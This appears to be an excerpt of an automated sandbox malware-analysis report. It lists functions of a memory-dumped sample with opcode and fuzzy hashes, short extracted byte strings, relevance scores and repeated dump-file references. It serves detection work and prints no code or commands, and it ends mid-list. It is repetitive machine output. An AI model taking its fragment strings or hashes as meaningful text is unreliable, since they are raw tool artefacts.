Opcode ID: 5dccc63944f636887e3cf7e6157ffd78e183a33e9b8eaf5952f66c571e708d44
Instruction ID: aee2fc4608ee73f3591ca7367d727765c47bcef84d1af5e31be42c8fef1ee861
Opcode Fuzzy Hash: 5dccc63944f636887e3cf7e6157ffd78e183a33e9b8eaf5952f66c571e708d44
Instruction Fuzzy Hash: 123238F360C2049BE3046E2DEC8577ABBE9EF94720F1A463DEAC487744EA3558058797

Function 00583D7A Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

>:g, xrefs: 00583D9E
OMxu, xrefs: 00583E3F
G1{s, xrefs: 00583F2D

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >:g$G1{s$OMxu
API String ID: 0-1115224595
Opcode ID: 9c5b7a8650e34d6146a56b6c58ec264b67d0587ece2ca1ddba0108f215474e07
Instruction ID: 5bfec9ee9bf217e4b49e324ffe42bf578c095c95d48387ada792af9b6ac25354
Opcode Fuzzy Hash: 9c5b7a8650e34d6146a56b6c58ec264b67d0587ece2ca1ddba0108f215474e07
Instruction Fuzzy Hash: 2B513BF36187049FF3489D29DC857AAB7D6EBD8310F1A863DE780C3B94E97998018255

Function 005BB198 Relevance: 3.6, Strings: 2, Instructions: 1129COMMON

Download Yara Rule

Strings

to?, xrefs: 005BB944
%7_}, xrefs: 005BB8D9

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %7_}$to?
API String ID: 0-709437021
Opcode ID: 96ee067e060cc6fdd29f3482cecf3842bb05c0b9004ad54a0602a3d8e59285ce
Instruction ID: ef4f3258c6d96b53552e45aaf66568b7418e4466a22eeb0fc5d8ac6934f29a8f
Opcode Fuzzy Hash: 96ee067e060cc6fdd29f3482cecf3842bb05c0b9004ad54a0602a3d8e59285ce
Instruction Fuzzy Hash: B6725BF3A082149FE704AE2DEC8567AFBE9EF94620F1A493DE6C4C3744E57198058793

Function 005B1308 Relevance: 3.3, Strings: 2, Instructions: 807COMMON

Download Yara Rule

Strings

}=un, xrefs: 005B139E
.t_9, xrefs: 005B15A7

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .t_9$}=un
API String ID: 0-187521892
Opcode ID: ba1c3295eef5113efefcb33ced0d236e5b62dfb5b1313f0598b447ef43b47fa7
Instruction ID: 388ed72cfab824b18a1f016b6ef6e44f26113e9376bea23620a3bfe60802cf28
Opcode Fuzzy Hash: ba1c3295eef5113efefcb33ced0d236e5b62dfb5b1313f0598b447ef43b47fa7
Instruction Fuzzy Hash: DB3229F3A08204AFE3046E2DDC4567ABBE5EFD4720F1A4A3DEAC5C7744E93598058693

Function 00629251 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

D~, xrefs: 006292CA
{!'k, xrefs: 0062926D

Memory Dump Source

Source File: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: {!'k$D~
API String ID: 0-2839688805
Opcode ID: 422e35f7487373f40815ee6b39f389d1cb225f79d2f98e942714a33cbe70fddf
Instruction ID: fc820d431537cef086a11d31b0bfd9b4ae339475f709c22be3cc3e7f311d39d7
Opcode Fuzzy Hash: 422e35f7487373f40815ee6b39f389d1cb225f79d2f98e942714a33cbe70fddf
Instruction Fuzzy Hash: 143158F3A085085BC314AA3DDD40B2BBBDADBD47A1F16863DE689C3784F97958158282

Function 005B5F6C Relevance: 2.4, Strings: 1, Instructions: 1143COMMON

Download Yara Rule

Strings

FhYm, xrefs: 005B61A0

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: FhYm
API String ID: 0-2173024669
Opcode ID: 7602a0a2918dea72ace2b97af3aae6d6c135a5c20fab929c2f78cc7be6fc360d
Instruction ID: e5ef1a52b1dee680d33875fde4ba267854eb393a7aa8ef6a9a5db72a43458649
Opcode Fuzzy Hash: 7602a0a2918dea72ace2b97af3aae6d6c135a5c20fab929c2f78cc7be6fc360d
Instruction Fuzzy Hash: F47208F3A0C2049FE3046E29EC8567AFBE9EFD4760F16893DEAC483744E93558058697

Function 00473EB7 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

a#}~, xrefs: 0047408F

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: a#}~
API String ID: 0-3053055043
Opcode ID: 6556bb22ed5c7924249e1897c8f5a463f411868f965ca66f64cddcb9eb461f9a
Instruction ID: 1397294029914740b26f25e9e060228f75f37772df146fc692a6ab0ac892280a
Opcode Fuzzy Hash: 6556bb22ed5c7924249e1897c8f5a463f411868f965ca66f64cddcb9eb461f9a
Instruction Fuzzy Hash: E771C2F3A082109FE3086E2CDC5577ABBE5EB94310F1A493DE6C5D7784EA385844878B

Function 0048D7DD Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

kwr, xrefs: 0048D972

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: kwr
API String ID: 0-2980633238
Opcode ID: 44e5119a82df092cf49c8d3ca9a8e455b57e4feccf2cd8df9dcffaf956aa6325
Instruction ID: 46dc7d817ce7957be365dd8863c8d79844ecfe4d351c04cde30bdfadfbddf9cd
Opcode Fuzzy Hash: 44e5119a82df092cf49c8d3ca9a8e455b57e4feccf2cd8df9dcffaf956aa6325
Instruction Fuzzy Hash: 4B514CF3E181145BE354693DDD44776B6D6AB84320F66863CAB84E3B88F8348C0842C5

Function 004B7245 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92c8bd0a5b5f1397b845c9c98d563b235ce86bd36361c8cf55470d4dc2eb295
Instruction ID: 264c2f52e7db157b0f5a82bb3b2004cd36effd5d9f462ec7b7f4d33dc9f7bad6
Opcode Fuzzy Hash: b92c8bd0a5b5f1397b845c9c98d563b235ce86bd36361c8cf55470d4dc2eb295
Instruction Fuzzy Hash: D15136F3E587105BF3085A28EDDA77A76D5EB94720F1A423CAF8897BC4E87D180442C6

Function 004C2A2A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
